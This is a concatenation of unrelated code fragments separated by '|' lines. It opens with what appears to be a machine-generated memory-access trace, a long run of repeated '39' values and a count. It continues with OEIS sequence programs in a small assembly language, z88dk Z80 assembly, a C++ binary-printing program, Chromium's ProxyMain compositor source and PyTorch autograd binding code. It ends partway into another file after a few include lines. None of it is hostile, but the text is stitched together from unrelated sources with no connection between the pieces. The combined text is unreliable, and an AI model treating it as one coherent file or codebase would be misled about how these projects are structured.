{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
ADDI 1
STORE 1
LOAD 0
|
Name: zel_gsub1.asm
Type: file
Size: 3376
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: 6E5B686E3DB84F92D234E0D0DED480FA6B6DFCE3
Description: null
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t wv_priority_queue_capacity(wv_priority_queue_t *q)
;
; Return the amount of space allocated for the queue in words.
;
; ===============================================================
SECTION code_adt_wv_priority_queue
PUBLIC asm_wv_priority_queue_capacity
EXTERN l_readword_2_hl
defc asm_wv_priority_queue_capacity = l_readword_2_hl - 6
; enter : hl = priority_queue *
;
; exit : hl = capacity in words
;
; uses : a, hl
|
; A021039: Decimal expansion of 1/35.
; 0,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8,5,7,1,4,2,8
mov $1,1
lpb $0
sub $0,1
mul $1,3
mod $1,21
lpe
mov $0,$1
sub $0,1
mod $0,10
|
; A163943: Third left hand column of triangle A163940.
; 0,3,17,52,121,240,428,707,1102,1641,2355,3278,4447,5902,7686,9845,12428,15487,19077,23256,28085,33628,39952,47127,55226,64325,74503,85842,98427,112346,127690,144553,163032,183227,205241,229180,255153,283272,313652,346411,381670,419553,460187,503702,550231,599910,652878,709277,769252,832951,900525,972128,1047917,1128052,1212696,1302015,1396178,1495357,1599727,1709466,1824755,1945778,2072722,2205777,2345136,2490995,2643553,2803012,2969577,3143456,3324860,3514003,3711102,3916377,4130051,4352350,4583503,4823742,5073302,5332421,5601340,5880303,6169557,6469352,6779941,7101580,7434528,7779047,8135402,8503861,8884695,9278178,9684587,10104202,10537306,10984185,11445128,11920427,12410377,12915276
mov $2,$0
mov $3,$0
lpb $0
add $2,$0
sub $0,1
add $3,$2
add $1,$3
lpe
mov $0,$1
|
; A011900: a(n) = 6*a(n-1) - a(n-2) - 2 with a(0) = 1, a(1) = 3.
; 1,3,15,85,493,2871,16731,97513,568345,3312555,19306983,112529341,655869061,3822685023,22280241075,129858761425,756872327473,4411375203411,25711378892991,149856898154533,873430010034205,5090723162050695,29670908962269963,172934730611569081,1007937474707144521,5874690117631298043,34240203231080643735,199566529268852564365,1163158972382034742453,6779387305023355890351,39513164857758100599651,230299601841525247707553,1342284446191393385645665,7823407075306835066166435,45598158005649617011352943,265765540958590867001951221,1548995087745895585000354381,9028204985516782643000175063,52620234825354800273000695995,306693203966612018995004000905,1787538988974317313697023309433,10418540729879291863187135855691,60723705390301433865425791824711,353923691611929311329367615092573,2062818444281274434110779898730725,12022986974075717293335311777291775,70075103400173029325901090765019923,408427633426962458662071232812827761
mov $1,8
mov $2,8
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
add $2,$1
lpe
div $1,16
add $1,1
mov $0,$1
|
# Reverse-3, per thread.
# A -> tmp, B -> A, tmp -> B
# Common library of definitions
include ../common/opcodes.asm
include ../common/conditions.asm
# Shared variables
# N-1 for N loops
array_half_len shared 49
output port A 0
# Thread-private variables
threads 0 1 2 3 4 5 6 7
array private 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
top_ptr_rd pointer array 1 0
top_ptr_wr pointer array 1 0
bot_ptr_rd pointer array -1 99
bot_ptr_wr pointer array -1 99
temp private 0
# Code
preload add
start init next
loop add output 0 -1
init loop
init top_ptr_rd
init top_ptr_wr
init bot_ptr_rd
init bot_ptr_wr
next add temp top_ptr_rd 0
add top_ptr_wr bot_ptr_rd 0
add bot_ptr_wr 0 temp
ctz unpredicted array_half_len loop
jmp unpredicted next
# Set starting point (PC) for each thread
program_counter start start start start start start start start
|
; A033478: 3x+1 sequence beginning at 3.
; Submitted by Jon Maiga
; 3,10,5,16,8,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2,1,4,2
add $0,1
mov $1,$0
mov $0,3
lpb $1
mov $2,$0
mod $2,2
mov $3,1
sub $3,$2
mov $4,$0
lpb $2
mul $0,3
add $0,1
sub $2,1
lpe
lpb $3
div $0,2
sub $3,1
lpe
sub $1,1
lpe
mov $0,$4
|
; A111214: Score for an n-letter word in the game of Boggle.
; Submitted by Jamie Morken(s2)
; 0,0,1,1,2,3,5,11,11,11,11,11,11,11,11,11,11
sub $2,$0
mov $0,1
seq $0,26583 ; a(n) = Sum{T(i,j)}, 0<=j<=i, 0<=i<=2n, T given by A026568.
mul $0,3
add $4,$0
add $2,$4
trn $2,4
mov $3,$2
cmp $3,0
add $2,$3
div $4,$2
mov $0,$4
sub $0,1
|
; A100525: Bisection of A048654.
; 4,22,128,746,4348,25342,147704,860882,5017588,29244646,170450288,993457082,5790292204,33748296142,196699484648,1146448611746,6681992185828,38945504503222,226991034833504,1323000704497802,7711013192153308,44943078448422046
mul $0,2
add $0,2
mov $1,2
mov $2,1
mov $3,6
lpb $0,1
sub $0,1
add $2,$3
sub $2,3
add $1,$2
sub $2,3
mov $3,5
add $3,$1
mov $1,$2
sub $3,2
lpe
|
; float scalbn(float x, int n) __z88dk_callee
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccix_scalbn_callee, l0_cm48_sdccix_scalbn_callee
EXTERN cm48_sdccixp_d2m48, am48_scalbn, cm48_sdccixp_m482d
cm48_sdccix_scalbn_callee:
pop af
pop de
pop hl ; hlde = float x
exx
pop hl ; hl = int n
exx
push af
l0_cm48_sdccix_scalbn_callee:
call cm48_sdccixp_d2m48
; AC'= double x
; hl = n
call am48_scalbn
jp cm48_sdccixp_m482d
|
#include <cstdio>
#include <cassert>
const int N = 8;
bool bits[N];
inline int pow(int exp, int base = 2) {
int result = 1;
for (int i = 0; i < exp; ++i) {
result *= base;
}
return result;
}
int main() {
int n;
scanf("%d", &n);
assert(n >= 0 && n < 256);
while (n > 0) {
for (int i = 0; i < N; ++i) {
if ( ! bits[i] && pow(N - i - 1) <= n) {
bits[i] = true;
n -= pow(N - i - 1);
}
}
}
for (int i = 0; i < N; ++i) {
printf("%d", (int) bits[i]);
}
printf("\n");
return 0;
}
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "cc/trees/proxy_main.h"
#include <algorithm>
#include <string>
#include "base/trace_event/trace_event.h"
#include "base/trace_event/trace_event_argument.h"
#include "base/trace_event/trace_event_synthetic_delay.h"
#include "cc/animation/animation_events.h"
#include "cc/debug/benchmark_instrumentation.h"
#include "cc/debug/devtools_instrumentation.h"
#include "cc/output/output_surface.h"
#include "cc/output/swap_promise.h"
#include "cc/trees/blocking_task_runner.h"
#include "cc/trees/layer_tree_host.h"
#include "cc/trees/remote_channel_main.h"
#include "cc/trees/scoped_abort_remaining_swap_promises.h"
#include "cc/trees/threaded_channel.h"
namespace cc {
std::unique_ptr<ProxyMain> ProxyMain::CreateThreaded(
LayerTreeHost* layer_tree_host,
TaskRunnerProvider* task_runner_provider) {
std::unique_ptr<ProxyMain> proxy_main(
new ProxyMain(layer_tree_host, task_runner_provider));
proxy_main->SetChannel(
ThreadedChannel::Create(proxy_main.get(), task_runner_provider));
return proxy_main;
}
std::unique_ptr<ProxyMain> ProxyMain::CreateRemote(
RemoteProtoChannel* remote_proto_channel,
LayerTreeHost* layer_tree_host,
TaskRunnerProvider* task_runner_provider) {
std::unique_ptr<ProxyMain> proxy_main(
new ProxyMain(layer_tree_host, task_runner_provider));
proxy_main->SetChannel(RemoteChannelMain::Create(
remote_proto_channel, proxy_main.get(), task_runner_provider));
return proxy_main;
}
ProxyMain::ProxyMain(LayerTreeHost* layer_tree_host,
TaskRunnerProvider* task_runner_provider)
: layer_tree_host_(layer_tree_host),
task_runner_provider_(task_runner_provider),
layer_tree_host_id_(layer_tree_host->id()),
max_requested_pipeline_stage_(NO_PIPELINE_STAGE),
current_pipeline_stage_(NO_PIPELINE_STAGE),
final_pipeline_stage_(NO_PIPELINE_STAGE),
commit_waits_for_activation_(false),
started_(false),
defer_commits_(false) {
TRACE_EVENT0("cc", "ProxyMain::ProxyMain");
DCHECK(task_runner_provider_);
DCHECK(IsMainThread());
}
ProxyMain::~ProxyMain() {
TRACE_EVENT0("cc", "ProxyMain::~ProxyMain");
DCHECK(IsMainThread());
DCHECK(!started_);
}
void ProxyMain::SetChannel(std::unique_ptr<ChannelMain> channel_main) {
DCHECK(!channel_main_);
channel_main_ = std::move(channel_main);
}
void ProxyMain::DidCompleteSwapBuffers() {
DCHECK(IsMainThread());
layer_tree_host_->DidCompleteSwapBuffers();
}
void ProxyMain::SetRendererCapabilities(
const RendererCapabilities& capabilities) {
DCHECK(IsMainThread());
renderer_capabilities_ = capabilities;
}
void ProxyMain::BeginMainFrameNotExpectedSoon() {
TRACE_EVENT0("cc", "ProxyMain::BeginMainFrameNotExpectedSoon");
DCHECK(IsMainThread());
layer_tree_host_->BeginMainFrameNotExpectedSoon();
}
void ProxyMain::DidCommitAndDrawFrame() {
DCHECK(IsMainThread());
layer_tree_host_->DidCommitAndDrawFrame();
}
void ProxyMain::SetAnimationEvents(std::unique_ptr<AnimationEvents> events) {
TRACE_EVENT0("cc", "ProxyMain::SetAnimationEvents");
DCHECK(IsMainThread());
layer_tree_host_->SetAnimationEvents(std::move(events));
}
void ProxyMain::DidLoseOutputSurface() {
TRACE_EVENT0("cc", "ProxyMain::DidLoseOutputSurface");
DCHECK(IsMainThread());
layer_tree_host_->DidLoseOutputSurface();
}
void ProxyMain::RequestNewOutputSurface() {
DCHECK(IsMainThread());
layer_tree_host_->RequestNewOutputSurface();
}
void ProxyMain::DidInitializeOutputSurface(
bool success,
const RendererCapabilities& capabilities) {
TRACE_EVENT0("cc", "ProxyMain::DidInitializeOutputSurface");
DCHECK(IsMainThread());
if (!success) {
layer_tree_host_->DidFailToInitializeOutputSurface();
return;
}
renderer_capabilities_ = capabilities;
layer_tree_host_->DidInitializeOutputSurface();
}
void ProxyMain::DidCompletePageScaleAnimation() {
DCHECK(IsMainThread());
layer_tree_host_->DidCompletePageScaleAnimation();
}
void ProxyMain::BeginMainFrame(
std::unique_ptr<BeginMainFrameAndCommitState> begin_main_frame_state) {
benchmark_instrumentation::ScopedBeginFrameTask begin_frame_task(
benchmark_instrumentation::kDoBeginFrame,
begin_main_frame_state->begin_frame_id);
base::TimeTicks begin_main_frame_start_time = base::TimeTicks::Now();
TRACE_EVENT_SYNTHETIC_DELAY_BEGIN("cc.BeginMainFrame");
DCHECK(IsMainThread());
DCHECK_EQ(NO_PIPELINE_STAGE, current_pipeline_stage_);
if (defer_commits_) {
TRACE_EVENT_INSTANT0("cc", "EarlyOut_DeferCommit",
TRACE_EVENT_SCOPE_THREAD);
channel_main_->BeginMainFrameAbortedOnImpl(
CommitEarlyOutReason::ABORTED_DEFERRED_COMMIT,
begin_main_frame_start_time);
return;
}
// If the commit finishes, LayerTreeHost will transfer its swap promises to
// LayerTreeImpl. The destructor of ScopedSwapPromiseChecker aborts the
// remaining swap promises.
ScopedAbortRemainingSwapPromises swap_promise_checker(layer_tree_host_);
final_pipeline_stage_ = max_requested_pipeline_stage_;
max_requested_pipeline_stage_ = NO_PIPELINE_STAGE;
if (!layer_tree_host_->visible()) {
TRACE_EVENT_INSTANT0("cc", "EarlyOut_NotVisible", TRACE_EVENT_SCOPE_THREAD);
channel_main_->BeginMainFrameAbortedOnImpl(
CommitEarlyOutReason::ABORTED_NOT_VISIBLE, begin_main_frame_start_time);
return;
}
if (layer_tree_host_->output_surface_lost()) {
TRACE_EVENT_INSTANT0("cc", "EarlyOut_OutputSurfaceLost",
TRACE_EVENT_SCOPE_THREAD);
channel_main_->BeginMainFrameAbortedOnImpl(
CommitEarlyOutReason::ABORTED_OUTPUT_SURFACE_LOST,
begin_main_frame_start_time);
return;
}
current_pipeline_stage_ = ANIMATE_PIPELINE_STAGE;
layer_tree_host_->ApplyScrollAndScale(
begin_main_frame_state->scroll_info.get());
if (begin_main_frame_state->begin_frame_callbacks) {
for (auto& callback : *begin_main_frame_state->begin_frame_callbacks)
callback.Run();
}
layer_tree_host_->WillBeginMainFrame();
layer_tree_host_->ReportFixedRasterScaleUseCounters(
begin_main_frame_state->has_fixed_raster_scale_blurry_content,
begin_main_frame_state
->has_fixed_raster_scale_potential_performance_regression);
layer_tree_host_->BeginMainFrame(begin_main_frame_state->begin_frame_args);
layer_tree_host_->AnimateLayers(
begin_main_frame_state->begin_frame_args.frame_time);
// Recreate all UI resources if there were evicted UI resources when the impl
// thread initiated the commit.
if (begin_main_frame_state->evicted_ui_resources)
layer_tree_host_->RecreateUIResources();
layer_tree_host_->RequestMainFrameUpdate();
TRACE_EVENT_SYNTHETIC_DELAY_END("cc.BeginMainFrame");
bool can_cancel_this_commit = final_pipeline_stage_ < COMMIT_PIPELINE_STAGE &&
!begin_main_frame_state->evicted_ui_resources;
current_pipeline_stage_ = UPDATE_LAYERS_PIPELINE_STAGE;
bool should_update_layers =
final_pipeline_stage_ >= UPDATE_LAYERS_PIPELINE_STAGE;
bool updated = should_update_layers && layer_tree_host_->UpdateLayers();
layer_tree_host_->WillCommit();
devtools_instrumentation::ScopedCommitTrace commit_task(
layer_tree_host_->id());
current_pipeline_stage_ = COMMIT_PIPELINE_STAGE;
if (!updated && can_cancel_this_commit) {
TRACE_EVENT_INSTANT0("cc", "EarlyOut_NoUpdates", TRACE_EVENT_SCOPE_THREAD);
channel_main_->BeginMainFrameAbortedOnImpl(
CommitEarlyOutReason::FINISHED_NO_UPDATES, begin_main_frame_start_time);
// Although the commit is internally aborted, this is because it has been
// detected to be a no-op. From the perspective of an embedder, this commit
// went through, and input should no longer be throttled, etc.
current_pipeline_stage_ = NO_PIPELINE_STAGE;
layer_tree_host_->CommitComplete();
layer_tree_host_->DidBeginMainFrame();
layer_tree_host_->BreakSwapPromises(SwapPromise::COMMIT_NO_UPDATE);
return;
}
// Notify the impl thread that the main thread is ready to commit. This will
// begin the commit process, which is blocking from the main thread's
// point of view, but asynchronously performed on the impl thread,
// coordinated by the Scheduler.
{
TRACE_EVENT0("cc", "ProxyMain::BeginMainFrame::commit");
DebugScopedSetMainThreadBlocked main_thread_blocked(task_runner_provider_);
// This CapturePostTasks should be destroyed before CommitComplete() is
// called since that goes out to the embedder, and we want the embedder
// to receive its callbacks before that.
BlockingTaskRunner::CapturePostTasks blocked(
task_runner_provider_->blocking_main_thread_task_runner());
bool hold_commit_for_activation = commit_waits_for_activation_;
commit_waits_for_activation_ = false;
CompletionEvent completion;
channel_main_->StartCommitOnImpl(&completion, layer_tree_host_,
begin_main_frame_start_time,
hold_commit_for_activation);
completion.Wait();
}
current_pipeline_stage_ = NO_PIPELINE_STAGE;
layer_tree_host_->CommitComplete();
layer_tree_host_->DidBeginMainFrame();
}
void ProxyMain::FinishAllRendering() {
DCHECK(IsMainThread());
DCHECK(!defer_commits_);
// Make sure all GL drawing is finished on the impl thread.
DebugScopedSetMainThreadBlocked main_thread_blocked(task_runner_provider_);
CompletionEvent completion;
channel_main_->FinishAllRenderingOnImpl(&completion);
completion.Wait();
}
bool ProxyMain::IsStarted() const {
DCHECK(IsMainThread());
return started_;
}
bool ProxyMain::CommitToActiveTree() const {
// With ProxyMain, we use a pending tree and activate it once it's ready to
// draw to allow input to modify the active tree and draw during raster.
return false;
}
void ProxyMain::SetOutputSurface(OutputSurface* output_surface) {
channel_main_->InitializeOutputSurfaceOnImpl(output_surface);
}
void ProxyMain::SetVisible(bool visible) {
TRACE_EVENT1("cc", "ProxyMain::SetVisible", "visible", visible);
channel_main_->SetVisibleOnImpl(visible);
}
const RendererCapabilities& ProxyMain::GetRendererCapabilities() const {
DCHECK(IsMainThread());
DCHECK(!layer_tree_host_->output_surface_lost());
return renderer_capabilities_;
}
void ProxyMain::SetNeedsAnimate() {
DCHECK(IsMainThread());
if (SendCommitRequestToImplThreadIfNeeded(ANIMATE_PIPELINE_STAGE)) {
TRACE_EVENT_INSTANT0("cc", "ProxyMain::SetNeedsAnimate",
TRACE_EVENT_SCOPE_THREAD);
}
}
void ProxyMain::SetNeedsUpdateLayers() {
DCHECK(IsMainThread());
// If we are currently animating, make sure we also update the layers.
if (current_pipeline_stage_ == ANIMATE_PIPELINE_STAGE) {
final_pipeline_stage_ =
std::max(final_pipeline_stage_, UPDATE_LAYERS_PIPELINE_STAGE);
return;
}
if (SendCommitRequestToImplThreadIfNeeded(UPDATE_LAYERS_PIPELINE_STAGE)) {
TRACE_EVENT_INSTANT0("cc", "ProxyMain::SetNeedsUpdateLayers",
TRACE_EVENT_SCOPE_THREAD);
}
}
void ProxyMain::SetNeedsCommit() {
DCHECK(IsMainThread());
// If we are currently animating, make sure we don't skip the commit. Note
// that requesting a commit during the layer update stage means we need to
// schedule another full commit.
if (current_pipeline_stage_ == ANIMATE_PIPELINE_STAGE) {
final_pipeline_stage_ =
std::max(final_pipeline_stage_, COMMIT_PIPELINE_STAGE);
return;
}
if (SendCommitRequestToImplThreadIfNeeded(COMMIT_PIPELINE_STAGE)) {
TRACE_EVENT_INSTANT0("cc", "ProxyMain::SetNeedsCommit",
TRACE_EVENT_SCOPE_THREAD);
}
}
void ProxyMain::SetNeedsRedraw(const gfx::Rect& damage_rect) {
TRACE_EVENT0("cc", "ProxyMain::SetNeedsRedraw");
DCHECK(IsMainThread());
channel_main_->SetNeedsRedrawOnImpl(damage_rect);
}
void ProxyMain::SetNextCommitWaitsForActivation() {
DCHECK(IsMainThread());
commit_waits_for_activation_ = true;
}
void ProxyMain::NotifyInputThrottledUntilCommit() {
DCHECK(IsMainThread());
channel_main_->SetInputThrottledUntilCommitOnImpl(true);
}
void ProxyMain::SetDeferCommits(bool defer_commits) {
DCHECK(IsMainThread());
if (defer_commits_ == defer_commits)
return;
defer_commits_ = defer_commits;
if (defer_commits_)
TRACE_EVENT_ASYNC_BEGIN0("cc", "ProxyMain::SetDeferCommits", this);
else
TRACE_EVENT_ASYNC_END0("cc", "ProxyMain::SetDeferCommits", this);
channel_main_->SetDeferCommitsOnImpl(defer_commits);
}
bool ProxyMain::CommitRequested() const {
DCHECK(IsMainThread());
// TODO(skyostil): Split this into something like CommitRequested() and
// CommitInProgress().
return current_pipeline_stage_ != NO_PIPELINE_STAGE ||
max_requested_pipeline_stage_ >= COMMIT_PIPELINE_STAGE;
}
bool ProxyMain::BeginMainFrameRequested() const {
DCHECK(IsMainThread());
return max_requested_pipeline_stage_ != NO_PIPELINE_STAGE;
}
void ProxyMain::MainThreadHasStoppedFlinging() {
DCHECK(IsMainThread());
channel_main_->MainThreadHasStoppedFlingingOnImpl();
}
void ProxyMain::Start(
std::unique_ptr<BeginFrameSource> external_begin_frame_source) {
DCHECK(IsMainThread());
DCHECK(layer_tree_host_->IsThreaded() || layer_tree_host_->IsRemoteServer());
DCHECK(channel_main_);
DCHECK(!layer_tree_host_->settings().use_external_begin_frame_source ||
external_begin_frame_source);
// Create LayerTreeHostImpl.
channel_main_->SynchronouslyInitializeImpl(
layer_tree_host_, std::move(external_begin_frame_source));
started_ = true;
}
void ProxyMain::Stop() {
TRACE_EVENT0("cc", "ProxyMain::Stop");
DCHECK(IsMainThread());
DCHECK(started_);
channel_main_->SynchronouslyCloseImpl();
layer_tree_host_ = nullptr;
started_ = false;
}
bool ProxyMain::SupportsImplScrolling() const {
return true;
}
bool ProxyMain::MainFrameWillHappenForTesting() {
DCHECK(IsMainThread());
bool main_frame_will_happen = false;
{
DebugScopedSetMainThreadBlocked main_thread_blocked(task_runner_provider_);
CompletionEvent completion;
channel_main_->MainFrameWillHappenOnImplForTesting(&completion,
&main_frame_will_happen);
completion.Wait();
}
return main_frame_will_happen;
}
void ProxyMain::ReleaseOutputSurface() {
DCHECK(IsMainThread());
DCHECK(layer_tree_host_->output_surface_lost());
DebugScopedSetMainThreadBlocked main_thread_blocked(task_runner_provider_);
CompletionEvent completion;
channel_main_->ReleaseOutputSurfaceOnImpl(&completion);
completion.Wait();
}
void ProxyMain::UpdateTopControlsState(TopControlsState constraints,
TopControlsState current,
bool animate) {
DCHECK(IsMainThread());
channel_main_->UpdateTopControlsStateOnImpl(constraints, current, animate);
}
bool ProxyMain::SendCommitRequestToImplThreadIfNeeded(
CommitPipelineStage required_stage) {
DCHECK(IsMainThread());
DCHECK_NE(NO_PIPELINE_STAGE, required_stage);
bool already_posted = max_requested_pipeline_stage_ != NO_PIPELINE_STAGE;
max_requested_pipeline_stage_ =
std::max(max_requested_pipeline_stage_, required_stage);
if (already_posted)
return false;
channel_main_->SetNeedsCommitOnImpl();
return true;
}
bool ProxyMain::IsMainThread() const {
return task_runner_provider_->IsMainThread();
}
} // namespace cc
|
#include <Python.h>
#include <torch/csrc/autograd/functions/accumulate_grad.h>
#include <torch/csrc/autograd/functions/basic_ops.h>
#include <torch/csrc/autograd/functions/tensor.h>
#include <torch/csrc/autograd/functions/pybind.h>
#include <torch/csrc/autograd/python_cpp_function.h>
#include <torch/csrc/autograd/generated/python_functions.h>
#include <torch/csrc/jit/python_tracer.h>
#include <torch/csrc/utils/pybind.h>
#include <torch/csrc/utils/tuple_parser.h>
using namespace torch::autograd;
using torch::TupleParser;
struct DelayedErrorCtor {
DelayedError* operator()(PyObject* args) {
std::string msg;
int num_inputs;
TupleParser parser(args, 2);
parser.parse(msg, "msg");
parser.parse(num_inputs, "num_inputs");
return new DelayedError(msg, num_inputs);
}
};
struct NoCtor {
Function* operator()(PyObject* args) {
throw std::runtime_error("Cannot construct");
}
};
template<typename C, typename T>
static void addClass(PyObject* module, PyTypeObject& type, const char* name,
PyGetSetDef* function_properties=nullptr, PyMethodDef* function_methods=nullptr)
{
createForwardFunctionPyTypeObject<T>(type, name, function_properties, function_methods);
Py_INCREF(&type);
PyModule_AddObject(module, name, (PyObject*)&type);
registerCppFunction(typeid(C), &type);
}
template<typename T, typename ValueT, typename ParamsT, ValueT ParamsT::*ptr,
typename ConvertArgT, PyObject* (*Convert)(ConvertArgT)>
PyObject* getTupleAttr(PyObject* obj, void* _unused)
{
HANDLE_TH_ERRORS
THPCppFunction* self = (THPCppFunction*)obj;
auto& arr = ((T*)(self->cdata.get()))->*ptr;
auto num_elems = arr.size();
THPObjectPtr py_tuple(PyTuple_New(num_elems));
if (!py_tuple) return nullptr;
for (size_t i = 0; i < num_elems; ++i) {
PyTuple_SET_ITEM(py_tuple.get(), i, Convert(arr[i]));
}
return py_tuple.release();
END_HANDLE_TH_ERRORS
}
template<typename T, typename ValueT, typename ParamsT, ValueT ParamsT::*ptr,
typename ConvertArgT, PyObject* (*Convert)(ConvertArgT)>
PyObject* getValueAttr(PyObject* obj, void* _unused)
{
HANDLE_TH_ERRORS
THPCppFunction* self = (THPCppFunction*)obj;
auto& val = ((T*)(self->cdata.get()))->*ptr;
return Convert(val);
END_HANDLE_TH_ERRORS
}
static PyObject* accumulateGradVar(PyObject *_self, void* _unused)
{
THPCppFunction* self = (THPCppFunction*)_self;
auto grad_acc = (AccumulateGrad*)self->cdata.get();
return THPVariable_Wrap(grad_acc->variable);
}
static struct PyGetSetDef accumulate_grad_properties[] = {
THP_FUNCTION_DEFAULT_PROPERTIES,
{(char*)"variable", accumulateGradVar, nullptr, nullptr, nullptr},
{nullptr}
};
void THPAutograd_initFunctions()
{
THPObjectPtr module(PyModule_New("torch._C._functions"));
if (!module) throw python_error();
static PyTypeObject AccumulateGradClass;
addClass<AccumulateGrad, NoCtor>(module, AccumulateGradClass, "AccumulateGrad", accumulate_grad_properties);
static PyTypeObject ErrorClass;
addClass<Error, NoCtor>(module, ErrorClass, "Error");
static PyTypeObject NotImplementedClass;
addClass<NotImplemented, NoCtor>(module, NotImplementedClass, "NotImplemented");
static PyTypeObject DelayedErrorClass;
addClass<DelayedError, DelayedErrorCtor>(module, DelayedErrorClass, "DelayedError");
static PyTypeObject CopyBackwardsClass;
addClass<CopyBackwards, NoCtor>(module, CopyBackwardsClass, "CopyBackwards");
static PyTypeObject CopySlicesClass;
addClass<CopySlices, NoCtor>(module, CopySlicesClass, "CopySlices");
generated::initialize_autogenerated_functions();
auto c_module = THPObjectPtr(PyImport_ImportModule("torch._C"));
if (!c_module) throw python_error();
Py_INCREF(module);
if (PyModule_AddObject(c_module, "_functions", module) < 0) {
throw python_error();
}
}
|
#include "compute_fwd.h"
#include <fiff/c/fiff_coord_trans_old.h>
#include "../fwd_coil_set.h"
#include <mne/c/mne_ctf_comp_data_set.h>
